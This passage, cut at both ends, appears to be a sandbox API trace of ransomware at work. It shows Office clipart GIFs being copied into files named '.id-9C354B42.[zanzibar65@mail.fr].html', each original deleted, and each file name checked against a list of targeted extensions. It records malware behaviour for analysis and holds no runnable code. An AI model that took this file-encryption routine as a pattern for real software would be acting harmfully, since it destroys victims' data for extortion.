dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.606] GetLastError () returned 0x0 [0048.606] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1e06, lpOverlapped=0x0) returned 1 [0048.818] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0048.839] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.839] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.839] SetEndOfFile (hFile=0x20c) returned 1 [0048.839] CloseHandle (hObject=0x20c) returned 1 [0048.839] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.839] SetEndOfFile (hFile=0x1d8) returned 1 [0048.840] CloseHandle (hObject=0x1d8) returned 1 [0048.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0048.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0048.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0048.840] lstrlenW (lpString=".doc") returned 4 [0048.840] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.840] lstrlenW (lpString=".docx") returned 5 [0048.840] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.841] lstrlenW (lpString=".pdf") returned 4 [0048.841] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.841] lstrlenW (lpString=".xls") returned 4 [0048.841] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.841] lstrlenW (lpString=".xlsx") returned 5 [0048.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.841] lstrlenW (lpString=".ppt") returned 4 [0048.841] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0048.841] lstrlenW (lpString=".zip") returned 4 [0048.841] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.841] lstrlenW (lpString=".rar") returned 4 [0048.841] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.841] lstrlenW (lpString=".bz2") returned 4 [0048.841] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.841] lstrlenW (lpString=".7z") returned 3 [0048.841] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0048.841] lstrlenW (lpString=".dbf") returned 4 [0048.841] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0048.841] lstrlenW (lpString=".1cd") returned 4 [0048.841] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0048.842] lstrlenW (lpString=".jpg") returned 4 [0048.842] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.842] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=7583) returned 1 [0048.842] CloseHandle (hObject=0x1d8) returned 1 [0048.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0048.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0048.842] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.842] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.843] GetLastError () returned 0x0 [0048.843] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0048.844] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0048.848] ReadFile (in: hFile=0x1d8, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.848] WriteFile (in: hFile=0x20c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.848] SetEndOfFile (hFile=0x20c) returned 1 [0048.848] CloseHandle (hObject=0x20c) returned 1 [0048.848] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.848] SetEndOfFile (hFile=0x1d8) returned 1 [0048.849] CloseHandle (hObject=0x1d8) returned 1 [0048.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0048.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0048.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0048.850] lstrlenW (lpString=".doc") returned 4 [0048.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.850] lstrlenW (lpString=".docx") returned 5 [0048.850] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.850] lstrlenW (lpString=".pdf") returned 4 [0048.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.850] lstrlenW (lpString=".xls") returned 4 [0048.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.850] lstrlenW (lpString=".xlsx") returned 5 [0048.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.850] lstrlenW (lpString=".ppt") returned 4 [0048.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0048.850] lstrlenW (lpString=".zip") returned 4 [0048.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.850] lstrlenW (lpString=".rar") returned 4 [0048.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.850] lstrlenW (lpString=".bz2") returned 4 [0048.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.850] lstrlenW (lpString=".7z") returned 3 [0048.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0048.850] lstrlenW (lpString=".dbf") returned 4 [0048.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0048.850] lstrlenW (lpString=".1cd") returned 4 [0048.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0048.850] lstrlenW (lpString=".jpg") returned 4 [0048.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.852] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=6984) returned 1 [0048.852] CloseHandle (hObject=0x174) returned 1 [0048.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0048.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0048.852] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.852] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.855] GetLastError () returned 0x0 [0048.855] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x1b48, lpOverlapped=0x0) returned 1 [0048.857] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0048.858] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.858] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.858] SetEndOfFile (hFile=0x208) returned 1 [0048.858] CloseHandle (hObject=0x208) returned 1 [0048.858] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.858] SetEndOfFile (hFile=0x174) returned 1 [0048.859] CloseHandle (hObject=0x174) returned 1 [0048.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0048.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0048.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0048.860] lstrlenW (lpString=".doc") returned 4 [0048.860] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.860] lstrlenW (lpString=".docx") returned 5 [0048.860] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.860] lstrlenW (lpString=".pdf") returned 4 [0048.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.860] lstrlenW (lpString=".xls") returned 4 [0048.860] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.860] lstrlenW (lpString=".xlsx") returned 5 [0048.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.860] lstrlenW (lpString=".ppt") returned 4 [0048.860] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0048.860] lstrlenW (lpString=".zip") returned 4 [0048.860] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.860] lstrlenW (lpString=".rar") returned 4 [0048.860] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.860] lstrlenW (lpString=".bz2") returned 4 [0048.860] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.860] lstrlenW (lpString=".7z") returned 3 [0048.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0048.860] lstrlenW (lpString=".dbf") returned 4 [0048.860] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0048.860] lstrlenW (lpString=".1cd") returned 4 [0048.860] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0048.861] lstrlenW (lpString=".jpg") returned 4 [0048.861] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.861] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=13254) returned 1 [0048.861] CloseHandle (hObject=0x174) returned 1 [0048.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0048.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0048.861] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.861] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.862] GetLastError () returned 0x0 [0048.862] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x33c6, lpOverlapped=0x0) returned 1 [0048.863] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0048.864] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.864] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.864] SetEndOfFile (hFile=0x208) returned 1 [0048.864] CloseHandle (hObject=0x208) returned 1 [0048.864] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.865] SetEndOfFile (hFile=0x174) returned 1 [0048.865] CloseHandle (hObject=0x174) returned 1 [0048.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0048.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0048.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0048.866] lstrlenW (lpString=".doc") returned 4 [0048.866] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.866] lstrlenW (lpString=".docx") returned 5 [0048.866] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.866] lstrlenW (lpString=".pdf") returned 4 [0048.866] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.866] lstrlenW (lpString=".xls") returned 4 [0048.866] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.866] lstrlenW (lpString=".xlsx") returned 5 [0048.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.866] lstrlenW (lpString=".ppt") returned 4 [0048.866] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0048.866] lstrlenW (lpString=".zip") returned 4 [0048.866] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.866] lstrlenW (lpString=".rar") returned 4 [0048.866] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.866] lstrlenW (lpString=".bz2") returned 4 [0048.866] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.866] lstrlenW (lpString=".7z") returned 3 [0048.866] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0048.866] lstrlenW (lpString=".dbf") returned 4 [0048.867] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0048.867] lstrlenW (lpString=".1cd") returned 4 [0048.867] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0048.867] lstrlenW (lpString=".jpg") returned 4 [0048.867] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.867] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=8582) returned 1 [0048.868] CloseHandle (hObject=0x174) returned 1 [0048.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0048.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0048.868] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.868] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.868] GetLastError () returned 0x0 [0048.868] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x2186, lpOverlapped=0x0) returned 1 [0048.870] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x2190, lpOverlapped=0x0) returned 1 [0048.871] ReadFile (in: hFile=0x174, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.871] WriteFile (in: hFile=0x208, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.871] SetEndOfFile (hFile=0x208) returned 1 [0048.871] CloseHandle (hObject=0x208) returned 1 [0048.871] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.871] SetEndOfFile (hFile=0x174) returned 1 [0048.872] CloseHandle (hObject=0x174) returned 1 [0048.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0048.872] lstrlenW (lpString=".doc") returned 4 [0048.872] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.873] lstrlenW (lpString=".docx") returned 5 [0048.873] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.873] lstrlenW (lpString=".pdf") returned 4 [0048.873] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.873] lstrlenW (lpString=".xls") returned 4 [0048.873] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.873] lstrlenW (lpString=".xlsx") returned 5 [0048.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.873] lstrlenW (lpString=".ppt") returned 4 [0048.873] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0048.873] lstrlenW 